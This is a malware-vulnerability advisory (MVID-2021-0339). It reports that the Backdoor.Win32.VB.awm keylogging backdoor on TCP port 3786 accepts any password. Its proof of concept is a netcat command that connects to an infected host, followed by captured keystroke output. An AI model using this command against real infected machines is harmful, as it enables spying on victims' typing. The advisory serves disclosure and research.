Backdoor.Win32.VB.awm / Authentication Bypass - Information Leakage

us malvuln (US) us
Risk: Medium
Local: No
Remote: Yes

Discovery / credits: Malvuln - (c) 2021 Original source: Contact: Media: Threat: Backdoor.Win32.VB.awm Vulnerability: Authentication Bypass - Information Leakage Description: The "Cryptech Heat" malware listens on TCP port 3786 and has an option to set an remote access password. The malware also runs a keylogger, we see imports for GetAsyncKeyState, GetKeyState, keybd_event and GetActiveWindow modules. Third-party attackers connecting to the infected system can use any password and will essentially see anything the victim types, searches or programs they run. As all information is piped out to whatever remote endpoint is connected. Type: PE32 MD5: 2271d942a23a89d7adea524d4ac3c13f Vuln ID: MVID-2021-0339 Disclosure: 09/09/2021 Exploit/PoC: nc64.exe x.x.x.x 3786 authorisation;whatever kl; { WINDOW : doit - Notepad } {CTRL}añkl;*** greetz Eduardo B!***ñ { WINDOW : C:\Users\Victim\Desktop\New Text Document.txt - Notepad++ } ñkl;you know whereñkl; and you know whyñkl;, ñkl;see u soonñkl; { WINDOW : Administrator: Administrator Command Prompt } ñkl; { WINDOW : CovertAgent Server } { WINDOW : Administrator: Administrator Command Prompt } { WINDOW : Registry Editor } ñkl;{CTRL} { WINDOW : Find } f0day_fileñkl; { WINDOW : Cortana } { WINDOW : Find } ñkl; { WINDOW : Administrator: Administrator Command Prompt } ñkl; { WINDOW : Program Manager } ñkl; { WINDOW : mystuff } ñkl;meet me tomorñkl;row 5th ave anñkl;d 18th str{backspc}ñkl; { WINDOW : Administrator: Administrator Command Prompt } { WINDOW : mystuff } ñkl;p{backspc}bowñkl;eray{backspc}{backspc}{backspc}ñkl;ryñkl; and canalñkl; { WINDOW : Program Manager } ñkl; { WINDOW : bowerynd LES - Search Results in mystuff } { WINDOW : Program Manager } ñkl; { WINDOW : Microsoft Windows } Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

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